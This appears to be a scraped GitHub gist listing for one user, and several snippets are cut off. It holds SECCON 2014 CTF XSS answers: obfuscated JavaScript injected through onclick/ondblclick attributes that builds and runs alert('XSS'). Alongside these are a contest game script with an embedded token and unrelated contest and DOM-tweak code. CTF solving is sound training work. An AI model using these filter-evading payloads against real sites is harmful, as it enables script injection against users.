Skip to content

Instantly share code, notes, and snippets.

View kusano's full-sized avatar

kusano kusano

29 followers · 1 following
View GitHub Profile
@kusano
kusano / gist:3b01bbe3ced23835d85a
Created July 20, 2014 14:04
SECCON 2014 予選 箱庭XSSリターンズ
"onclick="$=~[];$={___:++$,$$$$:(![]+'')[$],__$:++$,$_$_:(![]+'')[$],_$_:++$,$_$$:({}+'')[$],$$_$:($[$]+'')[$],_$$:++$,$$$_:(!''+'')[$],$__:++$,$_$:++$,$$__:({}+'')[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+'')[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+'')[$.__$])+((!$)+'')[$._$$]+($.__=$.$_[$.$$_])+($.$=(!''+'')[$.__$])+($._=(!''+'')[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!''+'')[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+'\''+$.$_$_+(![]+'')[$._$_]+$.$$$_+'\\'+$.__$+$.$$_+$._$_+$.__+'(\\\'\\'+$.__$+$._$$+$.___+'\\'+$.__$+$._$_+$._$$+'\\'+$.__$+$._$_+$._$$+'\\\'\\'+$.$__+$.___+')'+'\'')())();
"ondblclick="$=~[];$={___:++$,$$$$:(![]+'')[$],__$:++$,$_$_:(![]+'')[$],_$_:++$,$_$$:({}+'')[$],$$_$:($[$]+'')[$],_$$:++$,$$$_:(!''+'')[$],$__:++$,$_$:++$,$$__:({}+'')[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+'')[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+'')[$.__$])+((!$)+'')[$._$$]+($.__=$.$_[$.$$_])+($.$=(!''+'')[$.__$])+($._=(!''+'')[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!''+'')
@kusano
kusano / attack.py
Created November 2, 2014 14:54
CODE RUNNER 2014 予選B
import urllib, random, sys
hist = False
maxd = 0
maxs = 0
th = eval(sys.argv[1])
for l in urllib.urlopen("https://game.coderunner.jp/info?token=CDH4YBZJ4U1UQJJCGX9Q8LXQ5X53XB30&filter=all&style=text"):
l = l[:-2]
if hist:
@kusano
kusano / gist:b68995e9725e10b6d7cd
Created December 7, 2014 08:59
SECCON 2014 オンライン予選（英語） XSS Bonsai (aka. Hakoniwa XSS Reloaded)
Stage1 "+(104-100)["jvwfc"[104-100]+"jvwfo"[104-100]+"jvwfn"[104-100]+"jvwfs"[104-100]+"jvwft"[104-100]+"jvwfr"[104-100]+"jvwfu"[104-100]+"jvwfc"[104-100]+"jvwft"[104-100]+"jvwfo"[104-100]+"jvwfr"[104-100]]["jvwfc"[104-100]+"jvwfo"[104-100]+"jvwfn"[104-100]+"jvwfs"[104-100]+"jvwft"[104-100]+"jvwfr"[104-100]+"jvwfu"[104-100]+"jvwfc"[104-100]+"jvwft"[104-100]+"jvwfo"[104-100]+"jvwfr"[104-100]]("jvwfa"[104-100]+"jvwfl"[104-100]+"jvwfe"[104-100]+"jvwfr"[104-100]+"jvwft"[104-100]+"(\""+"jvwfX"[104-100]+"jvwfS"[104-100]+"jvwfS"[104-100]+"\")")()//
Stage2 \"+(109-105)['mcnac'[109-105]+'mcnao'[109-105]+'mcnan'[109-105]+'mcnas'[109-105]+'mcnat'[109-105]+'mcnar'[109-105]+'mcnau'[109-105]+'mcnac'[109-105]+'mcnat'[109-105]+'mcnao'[109-105]+'mcnar'[109-105]]['mcnac'[109-105]+'mcnao'[109-105]+'mcnan'[109-105]+'mcnas'[109-105]+'mcnat'[109-105]+'mcnar'[109-105]+'mcnau'[109-105]+'mcnac'[109-105]+'mcnat'[109-105]+'mcnao'[109-105]+'mcnar'[109-105]]('mcnaa'[109-105]+'mcnal'[109-105]+'mcnae'[109-105]+'mcnar'[109-105]+'mcnat'[109-
@kusano
kusano / gist:00db3174e825492383d9
Last active August 29, 2015 14:12
iPhoneのChromeで<input readonly>をコピー
{\rtf1\ansi\ansicpg1252
{\fonttbl\f0\fnil\fcharset0 HelveticaNeue;}
{\colortbl;\red255\green255\blue255;\red85\green85\blue85;\red252\green252\blue255;\red51\green51\blue51;
\red221\green221\blue221;}
\deftab720
\itap1\trowd \taflags0 \trgaph108\trleft-108 \trbrdrt\brdrnil \trbrdrl\brdrnil \trbrdrt\brdrnil \trbrdrr\brdrnil
\clvertalt \clshdrawnil \clwWidth4620\clftsWidth3 \clmart10 \clmarl10 \clmarb10 \clmarr10 \clbrdrt\brdrs\brdrw20\brdrcf5 \clbrdrl\brdrnil \clbrdrb\brdrnil \clbrdrr\brdrnil \clpadt160 \clpadl160 \clpadb160 \clpadr160 \gaph\cellx8640
\pard\intbl\itap1\pardeftab720\partightenfactor0
@kusano
kusano / autocomplete_ans.txt
Created January 18, 2015 18:19
Facebook Hacker Cup 2015 Round 1
Case #1: 11
Case #2: 392317
Case #3: 21
Case #4: 12
Case #5: 1
Case #6: 3
Case #7: 6
Case #8: 7
Case #9: 392349
Case #10: 180
@kusano
kusano / FoxConnection3.cpp
Created February 28, 2015 18:36
#include <vector>
#include <algorithm>
using namespace std;
// BEGIN CUT HERE
#include <iostream>
#include <sstream>
template<typename T> ostream& operator<<(ostream& os, const vector<T>& v);
// END CUT HERE
@kusano
kusano / vis.html
Last active August 29, 2015 14:16
MM86
<!DOCTYPE html>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script src="vis.js"></script>
<div><textarea id="in">89
1 2
4 6
7 6
9 4
14 0
9 5
@kusano
kusano / circle.js
Last active August 29, 2015 14:16
ガルーンの予定の参加者を円形に
!function(){document.querySelectorAll(".schedule_member_base_grn")[1].style.position="relative";var p=document.querySelectorAll(".user-grn");var n=p.length;for(var i=0;i<n;i++){var s=p[i].style;s.position="absolute";s.top=48*Math.sin(2*Math.PI*i/n)+"px";s.left=48-48*Math.cos(2*Math.PI*i/n)+"px";}}()
@kusano
kusano / circle.js
Created March 7, 2015 15:23
ガルーンの予定の参加者を円形に（回転版）
!function(){
function render(){
var t=performance.now()/1000;
document.querySelectorAll(".schedule_member_base_grn")[1].style.position="relative";
var p=document.querySelectorAll(".user-grn");
var n=p.length;
for(var i=0;i<n;i++){
var s=p[i].style;
s.position="absolute";
s.top=48*Math.sin(2*Math.PI*(i/n+t))+"px";
@kusano
kusano / circle.js
Created March 8, 2015 19:17
!function(){
var R = 480;
document.querySelectorAll(".schedule_member_base_grn")[1].style.position="relative";
var p=document.querySelectorAll(".user-grn");
var n=p.length;
for (var i=0;i<n;i++) {
p[i].r = R*Math.sqrt(Math.random());
p[i].th = 2*Math.PI*Math.random();